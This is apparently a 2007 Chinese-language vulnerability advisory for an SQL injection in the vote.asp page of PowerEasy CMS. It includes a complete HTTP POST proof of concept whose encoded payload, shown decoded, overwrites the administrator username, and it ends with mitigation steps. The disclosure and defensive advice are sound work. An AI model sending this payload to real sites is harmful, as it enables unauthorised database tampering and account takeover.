2007 10.30动易网站管理系统vote.asp页面存在SQL注入漏洞

    测试系统:
            动易(PowerEasy CMS SP6 071030以下版本)

    安全综述:
           动易网站管理系统是一个采用 ASP 和 MSSQL 等其他多种数据库构建的高效网站内容管理解决方案产品。

    漏洞描述:
        vote.asp调用了动易组件PE_Site.ShowVote,此组件VoteOption参数过滤不严,导致可以进行mssql注入
        但是其语句里面过滤了– ;等字符,又是一个UPDATE形的注入,有一定的限制。但是其过滤的顺序不对。有导致mssql的注释符号–可以进入语句

    测试方法:

       POST  Vote.asp HTTP/1.1
        Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
        Referer:  http://127.0.0.1/Vote.asp?ID=2&Action=Show
        Accept-Language: zh-cn
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip, deflate
        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
        Host: 127.0.0.1
        Content-Length: 160
        Connection: Keep-Alive
        Cache-Control: no-cache
        Cookie: rtime=0; ltime=1191765883073; cnzz_eid=6855133-; AJSTAT_ok_times=2; ViewMode=1; PJBlog2Setting=ViewType=normal; http%3A%2F%2Fkw%2Elyedu%2Ecom%2Ecn=lao=8; style=null; chkRemember=false; ASPSESSIONIDSSRCABTA=JJODPHAACKPHCFNFCKEINALN; VotedID=1

        VoteOption=1%3D1+%75%70%64%61%74%65%20%50%45%5F%41%64%6D%69%6E%20%73%65%74%20%61%64%6D%69%6E%6E%61%6D%65%3D%30%78%36%31%2D%3B%2D&VoteType=Multi&Action=Vote&ID=2

        其中 1%3D1+%75%70%64%61%74%65%20%50%45%5F%41%64%6D%69%6E%20%73%65%74%20%61%64%6D%69%6E%6E%61%6D%65%3D%30%78%36%31%2D%3B%2D解码后为
        1=1+update PE_Admin set adminname=0x61-;-
        他们先过滤了–再过滤; 导致以-;-的形式可以很轻松的把注释符带入语句,执行语句后,成功把管理员的用户名设置为a
    解决方案:
            更新动易组件(需要管理员的权限才能更新)。
        不需要投票功能的用户,删除此文件。
        有需要,但是又没有权限更新动易组件(需要管理员的权限才能更新)的用户。请在vote.asp文件自行过滤各个参数。

发表评论

发表评论